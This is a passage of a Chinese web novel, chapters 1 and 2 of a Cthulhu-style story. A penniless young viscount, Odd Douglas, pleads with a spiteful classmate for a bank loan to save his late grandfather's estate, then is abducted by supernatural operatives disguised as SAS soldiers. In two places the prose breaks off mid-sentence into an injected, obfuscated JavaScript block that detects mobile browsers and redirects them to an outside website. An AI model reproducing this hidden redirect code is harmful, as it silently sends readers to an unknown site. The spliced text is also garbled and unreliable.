《克系调查员,但魅惑满点》 1. 第 1 章 “……哈……” 他在做梦。 他知道自己在做梦。 冰冷的水雾状似温柔地淹没他,过低的温度令他在水雾的怀抱中赤.裸的、仿佛无助地生理性战栗。 极致的欢愉不知从何而来,海啸般狂暴而毫无怜悯地冲刷他、击散他……直至他的清醒意志逐渐濒临溃散,松开手放纵自己沉沦入混沌欢愉的漩涡。 ——但一道尖利、难听的,像是哭嚎疯叫的细小声音,忽然凿子似的狠狠刺进水雾,刺进他的耳膜: “不……不!” “醒来……你必须醒来!请求你……不,你不可以。你没有权利沉眠,睁开你的眼睛!欧德·道格拉斯!” “▇▄▆▁……”周围的水雾忽地震颤,像是被什么撼动。 一股尖锐如刀剑的酸楚忽而喷薄而出,刺穿心脏。 他近乎本能地在粘稠沉重的漩涡中挣扎起来,熟稔感油然而生,就好像在他想不起来的记忆中,曾经面对过无数次相同的境地。 “▂▄▁█……” 水雾中似乎有声音向他说话,低沉却轰鸣如鼓,震得他的耳膜、心脏乃至每一滴骨血都在颤动。 但他没去听。 感知不到双腿,他就用双手拼命撕扯面前忽然凝实的血肉之壁。双手的指节断裂、向后翻折,他就用牙齿野兽般撕扯面前的血肉!直至某一刻—— “……欧德?欧德。”一道带着不耐、狐疑的呼唤,穿过无形但厚实的壁垒,一下勾住在深渊中浮沉的他,将他扯回光明的现实,“嘿!回神。” “……”欧德的眼珠在眼睑下轻颤了数秒,缓缓睁开双眼。 正迎上正午的阳光从银行办公室的窗台洒进来,将屋内缓慢飞舞的尘齑映照得像蹁跹的仙尘。 窗外,车水马龙在银行前的马路上呼啸川流,一切都是他所熟识的模样:平凡,现实。 一辆移动冰淇淋车嘎吱作响着路过窗边,售卖员身后跟着一串举着各色甜筒、把自己糯米糍似的脸蛋吃成小花脸的小萝卜头们。 “……嘿,喂!”坐在办公桌后的金发青年无语又不耐烦地伸手过来,在欧德眼前打了几个响指,将欧德的注意力从草莓冰淇淋上拽回来。 “你到底怎么回事??昨晚喝嗨了还是嗑嗨了?——算了。听着,我是想告诉你——我很遗憾。但我必须拒绝你的贷款申请。” “……?……!”欧德一个激灵彻底清醒过来,立即抬手按住桌上被推回来的申请表,“不,等等。” 噩梦残留下的恍惚感瞬间被欧德抛诸脑后。他没浪费哪怕一秒的时间在回顾没有意义的梦上,最多暗自警告自己以后绝不能在谈判前饿肚子,过度饥饿显然对保持清醒有严重影响——谈判到一半活生生饿晕这也太夸张了: “我很需要这笔贷款。我们是同学,你知道我的能力,我可以很快还——” “是的是的我知道。”金发青年按着申请表的另一端,对着语速有些急的欧德露出一个毫无诚意的微笑,“但我不想借。” “即使这家银行是我家开的。即使只要我愿意就能给你批这个条。即使我知道你大概率有办法还上这笔贷款。” “你听懂了吗?我可以——但我不想。” “……”欧德不着痕迹地深呼吸了一口气,忍住把桌角的水晶摆件砸在对面人脑袋上的冲动,“这和我们大学期间的冲突有关吗,钱宁先生?” “你觉得呢?”钱宁将手中的钢笔一抛,舒适地向后靠进用料奢贵的老板椅里。昂贵的奥罗拉诞辰85周年纪念笔在桌上滚动,密布的钻石折射出满室清亮又冷酷的碎光。 “每一次。每一次!每当我要出什么风头的时候,你总是拦在我路上,跟我作对。甚至我的父亲也站在你……!” 钱宁的情绪激动到一半,又被他强压了回去,很快重新露出舒心的微笑:“但那都是过去式了。不是吗?看看毕业后的我们——我在这儿,坐在我家的金银帝国里。而你呢?” 钱宁用目光上下扫视了一下坐在贷款申请人位置上的欧德,西装微皱,风尘仆仆,想遮都遮掩不住疲倦憔悴,未尽之语不言而喻。但他很快摊开手,声音变得虚伪而热络: “好吧,我得承认这有些失礼。来吧!老同学,请允许我为你倒杯红茶作为道歉。我们很久没见,让我把今天剩下的业务推了,我们就在这间办公室里好好聊聊天。” “……”欧德紧盯着钱宁起身沏茶,敢用身上仅剩的1英镑打赌,对方的邀请绝对没安好心。 毕竟他们根本没有什么“很久没见”,就在今年5月,他们才刚从密斯卡托尼克大学一起毕业,满打满算也不过就是不到一个月之前的事。 而且——一个会将霸凌定义为“出风头”的家伙,还谈什么失不失礼? 理智分成了两半,一半警告他赶紧起身走人,钱宁明摆着是打算借机报复;另一半则冷静而残酷地指出: 以他当下这种境遇,上哪还能找到第二家银行,既有能力紧急抽调出足够多的资金,又愿意为他一个名不见经传的刚毕业学生承担这种风险? “咕嘟……”开水壶发出汩汩的烧煮声。 欧德迫使自己继续坐在原处,在心里劝说自己“这总比被直接赶走好。至少现在有了大把的谈话机会”,目光则难掩焦躁地在并不算大的办公室内四处飘动,最终落在一个落地档案柜上方的翻页式电子时钟上: 1980年6月2日16:24:59 “咔哒……”时钟发出一声轻响,显示秒钟的屏幕又向后翻了一页。 距离他被银行收走、抵押债款的祖宅被拿去拍卖,只剩下不到8个小时。 他再度回想起10天前,祖父在临去世时形如癫狂般拼命推搡着救护人员的手臂,挣扎着要从急救担架上爬下来的模样。 那双苍老瘦削的手几乎像畸形的细树枝,紧紧攥住他的手臂: “庄园……这个宅子。”祖父的声音沙哑而可怖,喘得像破漏的风箱,“你不能……让它……落进除你以外任何人手中。” “向我发誓!向我发誓,欧德,你将会用你的生命守卫它,不允许任何人踏入这片土地,不允许这片土地上的哪怕一草一木流落出去——” “向我发誓!欧德!你将视它比你的信条更重要!比我更重要!如果你不这么做,你永远别来替我收尸!!” 祖父的尖叫高亢凄厉,如同指甲狠狠刮擦在黑板上,令欧德即便只是在回忆,依旧忍不住打了个寒噤。 他不明白一贯温和睿智的祖父为什么会忽然癫狂;为什么在生命垂危时,宁可耽误急救的时机,也一定要他发誓保住主宅。 难道主宅里有什么道格拉斯家不可让人知晓的古老罪证?不,如果是这样,祖父不会说什么“不允许这片土地上的哪怕一草一木流落出去”。 难道祖宅下埋藏着当年二战时遗留下来的化学武器? 欧德想不明白,但他清楚,祖父绝不可能无的放矢。即使他真想丢下那个已经空无一人的祖宅不管,但祖父既然能说出“如果不这么做,你永远别来替我收尸”这样的话威胁他,甚至逼迫他发誓将视保住祖宅比秉持自己信条更重要,那无论如何,他都必须保下祖宅。 “呜——”右手边,办公室自带的开水间里传出热水沸腾的尖啸。时钟又“咔哒”向后翻了一页。 ——时间不多了。 他必须借到这笔贷款。 钱宁是他唯一的机会。 欧德这么想着,催眠自己忽略腰脊处传来的、如同折断般的疼痛感,重新坐直身体。 祖父的遗体已经在太平间躺了十天,不能再等了。在这期间他什么办法都试过,甚至包括趁夜窃尸——但保管员始终坚守祖父的叮嘱,不允许他在没取回祖宅时,接回祖父的遗体。 等到拍卖会结束,如果他没能成功赎回祖宅,他将彻底失去接回祖父遗体的机会—— 那是他唯一的亲人。 欧德这么想着,胃部开始因情绪而微微绞痛,像有几个锡人小兵在里面拿细细的矛愤懑不平地戳他。 他不明白祖父为什么会在去世前留下这样的叮嘱,但他不可能放任他在狭小的石隔间里腐烂融化,最后被倾倒进小镇的废弃处理坑中。 “想配些点心吗?”钱宁终于从开水间的磨砂门后绕了出来,端着泡好的茶和一份刚从冰箱里拿出来、还冒着寒气的黑森林蛋糕放到欧德面前,走到欧德侧对面的牛皮沙发上一屁股坐下,“现在,让我们来谈谈彼此的近况吧。” 钱宁摊了摊手:“我的现况就像你看到的这样,没什么好聊的。但我从校友会那儿听说,你最近的日子不太好过?” “我听说——你亲爱的祖父死了?就在十天前?哦……我可怜的朋友,这真是太让人伤心了。” “……”欧德绷紧了脸侧的虎爪骨,“承蒙关心。” 他花了比想象中更大的力气才说服自己将目光从水晶摆件上移开(‘即使我能将这东西砸上这蠢货的脑袋又怎样呢?’他想,‘要么因为饥饿脱力被钱宁轻易反击,大加嘲笑,要么直接把自己送监牢里……指不定钱宁还会因这一砸幸运地涨个几点智商,毕竟他的起点实在太低了。’),转移到一旁的红茶和糕点上。 因为手头拮据,这两天下来,他只吃了一小片从廉价超市里买来的临期法棍切片,现在忽见美食,胃自动自发地开始因为饥饿而痉挛。 红茶的水面微微荡漾,映照出他现在的模样: 身上的西装有些褶皱,优良的衣料因缺乏保养,反而更明显地展露出穿着者此时的落魄。 明显恸哭过的红血丝固执地留在眼底,薄薄的下眼睑泛着淡淡的青黑,唇色几乎和脸色一样苍白。 钱宁无疑被他这副模样所取悦,故作大方地将茶歇再次向他的方向推了推,满脸写着感同身受: “我记得你父母走得早,只剩下你和你的祖父相依为命。但现在,你的祖父也死了?然后整个道格拉斯家族的债务都落到了你这根独苗苗身上,洲际银行拿不到你的还款,只能把你家的祖宅拿去抵押拍卖?天哪。” 钱宁感慨完后,向前倾了倾身:“纠正我——如果我理解错了。但你现在,是不是身无分文,甚至连可以住的地方都没有?” 欧德实在没力气、也懒得跟钱宁斗这种低级的嘴。他强压下饥饿带来的眩晕,平静地用有些脱力的手端起黑森林:“你得知道,继续跟我聊这种家长里短的话题,你将会损失至少三亿八千万英镑的净利润。” “那还真是吓到我了!”钱宁嗤笑一声,“别虚张声势了。你还以为这是你在大学里呼朋引伴、左右逢源的那会儿?如果你能给我带来这样的利润,何必跑来向我借……” 钱宁哂笑到一半,又因为过去欧德给他留下的深刻印象,难以避免地心生犹豫,“……你哪来的渠道?我以为那些在校内和你处得好的富家子弟,都在听闻你家的剧变后跟你断绝联系了?” “但谁会对实打实的投资说不?”欧德竭力让自己别表现得太狼吞虎咽,即使如此,黑森林依旧在很短的时间里被他清扫一空。 “你有足够的资金,我有人脉。带上足够的资金去敲门,谁会将英镑拒之门外?然后你能得到你的巨额利润,我能得到……我想要的东西。这样不是很美妙吗?” “……”钱宁的目光划过几分惊疑不定,但好胜的心理很快驱使钱宁压下这点犹疑,再次露出讥讽的笑,“听起来的确很美妙,美妙的就像白日梦。” “为什么我们不回到现实呢?除了你祖父的死讯,我还从校友会那儿听到另一个重磅新闻——公务员选拔。” “教授曾说你是我们这一届最有可能爬上公务员体系的高位的学生——但我听说,你不知为什么缺席了最后的面试选拔?” 钱宁的笑中带着些许恶意,靠近欧德:“所以……你现在不仅身无分文、居无定所,还没有工作?” 他愉快地向后一靠沙发,手在旁边的雪茄盒上摸了摸,不过最终还是缩了回来,没打开烟盒:“那你现在有什么?除了这副灵活的口舌……哦,也许还有这张老天赏饭吃的脸。” 钱宁的目光向下移动,落在欧德从进门后,就时不时不着痕迹地调整一下、或微微支撑的腰:“我猜对了吗?这是你腰部不幸‘受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540166|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤’的原因吗?”他刻意体贴地站起身,“也许我们应该对换个座位,你比我更需要柔软的坐垫?” 欧德垂着眼睑,仿佛钱宁倾泻而来的恶言恶语只是一阵没什么存在感、也没有必要关注的风。 他单手端着茶,另一手微曲着修长的手指,挑动茶勺在殷红澄透的茶水中缓缓转动: “你的兄长已经打通和美国军火大鳄‘史密斯’进行贸易的渠道了。” “……”钱宁脸上的笑骤然僵持住,眼角几不可查地抽搐了几下。 办公室内静了数秒。 某一刻,钱宁像是自我说服似的说:“你不可能知道这个。” “你在虚张声势。” “没错……不可能。大家都是要长期打交道的,谁会把这种商业机密透露给你?难道ta就不怕信誉受损?不怕被联起手排斥?” 欧德神色平淡地继续搅动杯底的方糖:“你在质疑我的能力?” “……”钱宁倏然止声。 那速度甚至比听欧德说“你老哥干了票大生意”时还快。 这反应无疑透露出了点什么——比如即使对欧德倍加讥讽,钱宁实际上依旧对欧德的能力深信不疑。而意识到这一点,无疑让钱宁更加恼羞成怒。 他豁然起身,双眼因恼怒而微微泛粉,胸膛因对兄长的仇视、对天赐良机的渴求,和对可能下错赌注、满盘皆输的恐惧而剧烈起伏。 那双湛蓝的眼睛死死瞪着欧德,对欧德说、也像是在对自己说: “我不相信你。我们的关系从没好过。你现在一贫如洗,一无所有,你可能是被我的兄长收买派来陷害我的棋子!你以为你还是曾经那个众星所捧、高高在上,想要什么就得到什么的风云人物吗?嗯?不!!” 钱宁简直在嘶吼了,扯得脖颈发红,青筋隆起:“你现在就是一只蝼蚁、一粒灰尘,一个无名小——” “啪嚓——” 身侧的玻璃窗冷不丁被硬物暴力撞破,清脆的破裂声突兀响起。 原本还在装作平静的欧德错愕抬头,恰好对上钱宁受惊而茫然的目光。 越过钱宁的肩头,他迷茫地看见两个身着SAS特种部队装备的身影先后翻窗而入。而在办公室外,更多的破窗声、尖叫声四面响起,环抱了整座银行。 “啊——怎么回事?!怎么回事!” “SAS!英国第22特别空勤团!为什么这支特种部队会出现在这里?!” “所有人都不准动!不准动!举起双手!双手抱头!面贴墙壁!所有人都照做!所有人!” 嘈杂的声音从办公室外传来,不愿接受安排的抗议声随之响起,但不到两秒,就被一连串机枪对天扫射的警告声吓退。 欧德和钱宁简直是同步条件反射地举手抱头,带着程度不同、但意味相同的惊恐对视了仅一眼,就被两名SAS特种兵用枪口顶着,面朝墙抵上墙壁。 侧脸撞上墙面时,欧德看见旁边压住钱宁的特种兵头戴某种古怪的……头盔?或是防毒面具?本该是过滤口的地方衔接着一颗形似大脑的椭球体,大量短触须覆盖其上,不定神看几乎会觉得那些触须在蠕动。 士兵手中持的突击枪也很奇怪,乍看像是某种兽骨…… 欧德的寒毛竖了一瞬,但来自生命本能的危机感很快就被科学主义的观念压下。 或许这是某种新型生物传感器?或是迷彩涂层做出了骨骼纹理? 紧跟着,离成功只差临门一脚、却被意外打断的暴躁让他没忍住头抵着墙,低声骂了句:“Shit!” 这大概是他有生以来头一次让“狗屎”这么不雅的咒骂脱口而出,第二句咒骂就被他抿着唇、严严实实压在嗓子眼里。 为什么不能晚点儿?!他忍不住在心里想,偏偏在这种时候——钱宁显然已经被他说服了,那点暴怒跳脚下隐藏的犹豫,只需要他再轻轻一推,就能被彻底打散,可为什么偏要在这种时候——算了,算了……冷静。 这影响不了什么,等这帮子傻大个结束任务,他还是可以继续劝说,SAS不可能在公共场合长时间滞留。 一秒,两秒……不到十秒钟,办公室内外的局面就被SAS彻底控制。银行里重归死一般的寂静。 又过了五秒。 “哒哒……哒哒。” 一道干脆而有力的脚步声步入银行,在中厅停顿了半秒,又像是受到队员指引一样,冲着副行长办公室径直靠近。 完全不明白这是在闹哪出、难道有什么恐怖.分子混进银行的欧德下意识地咽了一下口水,一时都有点分不清自己耳朵里听到的“咕噜”声究竟是来源于饥饿的胃部,还是吞咽的口水。 一旁的钱宁则将外强中干和怂包诠释得淋漓尽致,哆嗦得身后抵着他的枪都咔嚓嚓响。办公室门咔哒一开,他直接嗷地一下大哭出声:“我我我可没干什么违法乱纪的事啊!!是我大哥,一定是我大哥陷——” “安静。”推门而入的人声音倦懒,带进来的风中裹挟着一股辛辣的雪茄气息——欧德敢肯定,这个后进门的人一定没带那个古怪的防毒面罩,因为对方的声音听起来十分清晰,“问你了吗?聒噪什么。” “……”钱宁一秒闭嘴。 欧德竖起耳朵,捕捉到那人的脚步慢吞吞地移动到办公桌边,大概是为了借着桌上的烟灰缸掸烟灰:“就来抓个恐怖.分子,跟什么你和你大哥都无关。——你大哥谁?” “我我我哥是#¥%@”钱宁终于在震动中找回了舌头和脑子的控制权,“那那那您要找谁?银行里所有员工我们都做过背景调查,不可能是恐怖.分子啊!客人我们又不认识——” “欧德。”那人打断道。 “我找欧德·道格拉斯。” “……”欧德的大脑在自己的名字被念出时瞬间一空。紧跟着后颈皮本能地一紧,寒毛直竖地感知到来人不紧不慢地踱步到他背后,轻轻地对着他的后颈吹出一缕烟雾,辛辣得有些古怪的气味钻入鼻腔: “你认不认识这个人?” “我有一名属下,死前手边留下的唯一一件遗物里,只写着这个名字。” 2. 第 2 章 “……”欧德的心跳有那么一秒错漏了一拍,突然口中干燥。 而在他张开嘴吐出什么有力的澄清前,一旁沉不住气的钱宁先倒吸了一口冷气,向他投来的目光里透着惊恐:“你你你……” 我去!刚刚我还当你是无名小卒,现在政府直接开来了SAS部队,就为了抓捕你?!——钱宁满脸都写着这段话,即使欧德不具有读心术,也能从钱宁那张永远年轻、永远流淌着清澈的脸蛋上看出对方的心声。 欧德真想翻白眼,但他又真怕钱宁会把自己翻白眼的动作,误解为“这是不是在暗示我往上看”。 但下一秒,钱宁却使劲扭头向后,对着SAS的特种兵们吐出了让欧德十分惊讶的话:“我、我必须得说一句,这里面是不是有什么误会?欧德不是那种会干坏事的人——我的意思是,”钱宁赶紧补上一句明哲保身的话,“他当然有这种能力,高智商犯罪、金融犯罪什么的……但我真觉得他不会这么做!您看,在学校里,我——呃……” 钱宁尴尬地停住,大概是意识到自己那点霸凌失败的往事并不光彩——说实话,钱宁居然能意识到这点也是让欧德挺惊讶的,就刚刚的对话来看,欧德还以为钱宁真以霸凌同学为荣呢:“我,我……” 钱宁一下想不出该如何论证“虽然他跟我不对付、我也讨厌他,但我同学他真是个好人”,憋得脑门上渗出细汗。无助半晌,他居然下意识地把目光投向欧德以寻求帮助,那双蓝汪汪的眼睛里写满可怜和希冀,仿佛在说:我相信你肯定是清白的,快上!就像平时你对付我们时一样,大发神威把这帮家伙怼回去! “……”欧德却微妙地避开了钱宁的目光。 这次他可能真的要辜负钱宁的信任了,因为他心里的确不那么有底气——确定自己的确没做什么违法乱纪的事。 之前的聊天中,钱宁问到过他腰脊的事,被他故意忽略跳了过去。但事实是他也不知道自己的腰是怎么受伤的。 ——他不知为何丢失了从5月24号下午开始,直到6月2日早晨,足足7天的记忆。 这种说辞明显不可能轻易打发走SAS,但欧德并未慌乱,他保持头抵墙壁的配合姿势,目标明确、条理清晰地对身后的SAS说: “你们可以搜我的身。我身上没有任何武器,不具备任何威胁性。” “只要你们让我继续跟钱宁把生意谈完,我可以全力配合你们的任何工作。如果你们想,你们可以就站在旁边听我和钱宁对话——” 扣押住钱宁的特种兵隔着面罩嗤笑了一声,转身就要押着钱宁离开,显然是怀疑钱宁说不准跟他是一伙的。 欧德加快语速:“——即使我真的是恐怖分子,听我和钱宁交换情报,对你们调查来说也是有利的,不是吗?” 欧德其实并不在乎自己被不被扣押走,他甚至自己也想弄清楚,自己丢失记忆的那7天里发生了什么。但前提是,他必须要把祖宅和祖父遗体的问题解决完。 钱宁的小脑瓜也难得灵光了一下,连忙附和道:“对对,可以听可以听。我们正经谈生意,公开透明,没什么见不得人的——呃,不过能问一句你们查到欧德到底犯什么事了吗?” 钱宁期期艾艾地说:“就,对我接下来决定要不要接受他的邀请还蛮重要的……金融诈骗?……呃,还有什么高智商犯罪的种类来着?” SAS怎么可能回答,他们是特种兵又不是宴会社交花——欧德刚这么想,就听押着钱宁的特种兵嘿笑了一声,英语中夹杂着一股明显的埃及口音:“你怎么不往更可怕的方向想想?” “……!”欧德的神色倏然变了,但钱宁的智商却在这会儿好死不死地又掉了链子,完全没注意到欧德投过去的眼神。 他只觉得跟SAS好像能聊,就立马顺杆上地哈哈一笑:“欧德?他这种到这个年代还遵守‘信条’这种中世纪遗物的家伙,能干什么更可怕的事?杀人放火?” 那名埃及口音士兵也跟着笑起来,语气调侃地说:“假如咱们在跟的这件事真是你朋友做的,那你真应该感到庆幸,为你现在还能完整地站在这里套近乎——” “他们不是SAS!!”欧德终于忍无可忍,竭尽所能地以最大的音量大声嘶喊,寄希望于办公室外、乃至银行外的人都能听见,“你没听出这人的口音吗?!SAS执行任务怎么可能跟任务目标闲聊?!我警告你们,我来自道格拉斯家族,承袭子爵爵位——唔!唔!” 站在他身后的后来者单手堵回了他的剩余大喊,轻啧了一声,辛辣的雪茄味直钻入鼻。 欧德在挣扎中产生了一种身体中的力气正被迅速抽走的异常错觉,一时有点分不清这究竟是雪茄中混着迷药之类的东西,还是自己又一次犯了低血糖。 视野不受控地开始模糊,他的身体像被在哪凿了个口子,力气迅速顺着口子一泻千里,竭力睁眼时,他透过模糊的视线依稀看见钱宁正惊恐地大喊大叫着,被粗暴地扣倒在办公桌上,钳制他的“士兵”将冲锋枪的枪口抵上了钱宁的脑袋—— “不!!”一股不服输的本能沿着心口、骨血蹿了上来,欧德回光返照般忽地又恢复了些清醒。力量相差悬殊,他就用皮鞋带着铆钉的后跟用力去跺敌人的脚尖,嘴被拳头堵住,他就发了狠劲用牙向皮肉里死咬。 “嘶……”身后那人似乎倒吸了一口气,松开了手。 欧德趁着最后这点清醒的功夫,几乎是在咆哮(他太虚弱了,力气轻点他怕敌人根本听不清楚):“你敢伤害任何人!!就永远别想得到我的配合!!” 所有的力气都消耗殆尽,黑沉的昏迷瞬间吞没了他。 “……”办公室里安静了几秒。 埃及人的枪口抵着钱宁的脑袋,原本打算扣下扳机的,犹豫了一下,还是改用沙包大的拳头“咚”地一下锤晕了终于反应过、想要挣扎的小趴菜钱宁。 他熟练地将昏倒在桌上的钱宁扛起来,冲着失去意识的欧德吹了声口哨,用一种奇异的眼光欣赏地看着昏迷过去的目标: “够烈啊,这小子。我还是头一次见到有人能在你炼制的昏迷剂下撑这么久,还又是跺脚又是咬的。记得给他多上点‘枷锁’,‘浮士德’。我都怕他半途醒过来跑了。” “——接下来怎么搞?动静闹得太大,一会警察局都要来了。” 被称作“浮士德”的男人揉着自己手上的血痕哼笑了一声,走到窗台边向上推开窗户。单手取下雪茄,无视周围逐渐聚集、惊疑不定的人群,仰头向着天空轻轻呼出一层薄而雪白的烟雾。 “——” 晴朗的天空骤然阴云密布,暴风忽地一下刮进长街。吹断的树枝砸在街边车辆上,激起一串刺耳的鸣笛。 当叼着雪茄的男人缩回身体时,暴雨已然倾盆而下,劈头盖脸地临在围观人群身上。 “咔嚓……”他轻而优雅地关上窗户,将夹带着雾气的雨关在玻璃之外,包括那些在雨水的冲刷下骤然变得呆滞安静,像空心的傀儡一样僵立在原地的路人。 “外面人的记忆我已经处理好了——你们。”浮士德单手揽着欧德,对着推门而入的手下说,“处理好银行里面这些人的记忆。” “SAS行动的记忆可以留下,但这小子刚刚喊的‘子爵’、‘伪装SAS’,统统给我删干净。” 他接过旁边人递来的黑伞,撑开后带着欧德走进似乎能够吞噬一切声音与记忆的大雨里。手下们迅速完成指令,沉默地跟在他身后穿梭过满脸茫然的人群,须臾间便在街头消失不见了。 · 欧德做了一个梦。 梦中,他仍是穿着小背带裤、踩着小皮鞋在祖宅里叭哒叭哒到处乱跑的年纪。不过这次他没有乱跑,而是躲在书房门外,撅着屁股,耳贴门板,小心憋气,试图听清书房里父母的对话。 “你疯了?!”父亲的声音急躁而大声,“究竟是怎么想的,带一个才5岁的孩子去学枪?!” “我只是想教会他自保——” “咚!”父亲用力锤了一下桌子,但紧跟着又嘟嘟哝哝不好意思地对桌子说了句抱歉,随后压低声音对妻子说,“我明白你很爱欧德,我也一样。但你必须得考虑,让一个孩子从小拿枪,而且一上来就用森林里的活物做靶子,长大以后他会变成什么样子?” “他会视开枪为习以为常,他会被磨削掉对生命的敬畏!在其他孩子抱着猫咪小鹿爱抚时,他会用审视的目光寻找它们的致命点——他甚至可能会因为夺走生命而获得快感!” 门外的小豆丁打了个寒噤。欧德知道,那是因为父亲的话说中了年幼的自己端起手枪、在母亲的帮助下成功杀死一只兔子后的感受。 父亲:“可我不希望我的孩子日后变成那样的怪物——”(门外的小豆丁吸了下鼻子。) 母亲嗤笑:“怪物?隔壁的戈登,每年夏天都会去北极猎熊,你是说他是怪物吗?” “他是!”父亲愤怒但又克制、同时不乏掷地有声的说,“不打猎,戈登会因没有食物而死吗?不会!他夺取生命,不是为了必要的生存,纯粹是为了取乐!看着我,玛尔,告诉我,你认为用其他生命取乐是一件合理的事吗?” 母亲沉默了片刻,语气似乎软化了一点,但依旧冷冰冰地说:“我宁可让我的孩子成为夺走生命的那个,而不是和戈登打死的北极熊一样,被杀死、剥皮,做成标本展览的那个。” 成年后的欧德眼睛眨也不眨地盯着书房的门,因为他还记得接下来会发生什么——年幼的他会因为父亲的话、双亲的争吵而无比内疚,随后推门而入。 他屏住了呼吸,等待一秒……两秒…… “吱呀……”厚实的橡木门终于像他所期待的那样、像记忆里那样被小豆丁使劲推开了。 欧德拼命睁大了眼睛,死死盯着书房里的父母冲门外投来讶异的眼神。 他看见母亲穿着橙黄色碎花裙,那是他五岁那年,父亲带他一起在圣诞节藏进庄园后的森林里偷偷瞒着母亲做的,针脚很有些丑陋,色泽却在阳光下靓丽得像兜住了庄园里所有的夏天。 他看见父亲蓄着些许胡子,是每天早上精心打理过的,配上不加外套的深色衬衫马甲,恰好是母亲最喜欢的样子。 “欧德——你怎么来了?” 记忆中的母亲冲着他张开手臂,过了几秒,下意识抬手的欧德才意识到,那是在冲幼年的自己张开手臂。 他只能看着推开门后的小豆丁佯装无忧无虑地把自己发射进母亲的怀里,又扭头冲着羡慕嫉妒恨的父亲骄傲地扬起鼻尖,仿佛在嘚瑟自己才是最得母亲喜欢的那一个。 “我不喜欢玩早上那个,那个重重的东西。”幼年的他抱怨着说,把小手摊开来给父母看,“撞得我手痛痛!我要玩别的,妈妈妈妈,教我别的!” 母亲绷着脸,似乎还是想劝说什么,但最终她只是无奈地说:“你想学什么?” 年幼的他转头看向近旁的书架,随手从里面抽出一本:“这个!” ——那是一本伯特兰·罗素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540167|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的政治论述书。 欧德记得。 甚至他未来十数年的求学生涯、求职方向,都是在那个下午定下的。 他眼睛一眨不眨地看着记忆中的父母开始抱着孩子逗弄,母亲挠着他的软肚皮取笑“以后我们家要出一个小首相了?那妈妈可得好好教你怎么当一个好首相”,父亲则轻哂着“坐在唐宁街里的那些前辈们都未必知道答案”,将他抱起来,像埋猫肚皮一样一脑袋扎进他的肚皮,一阵乱拱。 ……然后他醒来了。 车辆的颠簸声传入耳中,冰冷的皮革座位挤压着侧脸。欧德的喉咙痛得厉害,就像没淌出来的眼泪都化成了刀片,在嗓子眼堵着。 他没有睁眼,理智已经先一步回笼。从小磨练到大的克制力令他没有丝毫破绽地控制住想要抖动的眼皮,继续伪装成昏迷不醒的样子。 但这很难,太难了。他花了很大的力气,才让自己的呼吸没有因为情绪而改变,过了几秒,才能勒令自己立即从梦中抽离出来,聚焦于眼前亟待解决的现实困境。 他当下似乎正横躺在某辆轿车的后座上,车辆大概正在跨越一段路况糟糕的山路,颠簸得异常剧烈。 足踝和手腕处传来硬质皮革的摩擦感,有些犯痛,但整体来说比欧德预想得好多了——至少这群疯狂到胆敢伪装SAS部队的家伙没有真的用枷锁把他浑身捆住。 一片窸窸窣窣的衣料摩擦声从前座传来,那些伪装成SAS的疯子们显然正在换下伪装。 期间他们用来自各国的语音放松地交谈着,大概没想过车后座上躺着一个本打算加入外交部、精通多国语言的欧德,或者说想过,但他们不在乎。 “怎么把其他人都调走了,就剩咱俩苦哈哈地回据点……诶!这些SAS的制服怎么办?” “烧了吧,最方便快捷的处理办法。浮士德应该也不介意——” “他是没心情建议!他正思考人生呢。之前他用便携检测仪给咱们后座这匹小烈马做了趟粗略的体检,报告说这家伙长期处于营养不良状态——刚刚会晕讲不定到底是低血糖导致的,还是浮士德的昏迷剂导致的。” “嗯?营养不良?这位欧德·道格拉斯不是位子爵大人吗?道格拉斯家在他祖父去世前,好像也没穷困潦倒到连孩子都喂不饱吧?……说起来,为什么老道格拉斯一死,整个道格拉斯的家族业务就突然都倒了?欠债又是怎么回事?” “哈,那就不清楚了,贵族们的家务事——不对,你都在关注些什么呢?操!你就没注意到刚刚这家伙是同时顶着低血糖和昏迷剂的作用,跟浮士德争斗的?……呃……等等。这么一想,咱们是不是应该把他绑得更结实点?” 正勉强自己竖着耳朵仔细聆听,以确认钱宁不在车上的欧德刚松了半口气,闻言就梗了一下。心想这种夸奖他一点也不想要,不如继续被当成饭桶。 好在车辆此时“吱呀”一响,晃荡着停住。前面两个正商量要不要给欧德多加几条束缚带的兄弟停下闲聊:“行,回窝了回窝了。你到后座扛他,我去车后箱拿棺材。惹不起躲得起,咱们避着前面教堂的人走总行了吧?” “当……”教堂的钟声恰好在此时响起,悠扬地传入车内。 欧德特意听了一下,确认时钟总计敲了九下,已经是晚上九点了。 距离拍卖会开始只剩下不到五小时。 “……”他的心跳加快了起来,迫使自己压下焦躁,集中注意力: 回窝了是什么意思?这帮人要进据点了? “惹不起躲得起,避着前面教堂的人走”……所以这帮疯子其实还是有顾忌、甚至是忌惮教堂的? ——这或许就是他脱身的唯一机会了。 他不确定自己在被带进敌方大本营后,是否还能再闯出来。也许最好的选择,就是赶在被带进敌方窝点前冲向教堂求助——这是唯一的希望。 “真轻啊,”有人横抱起了静静等候时机的他,一边下车一边笑着跟同伴闲聊,“白长这么高——喔!” 欧德猛然睁眼抬手,用双臂一把勒住抱着他的敌人的脖颈,用力用脑袋狠狠撞上对方失去防毒面罩保护的太阳穴。 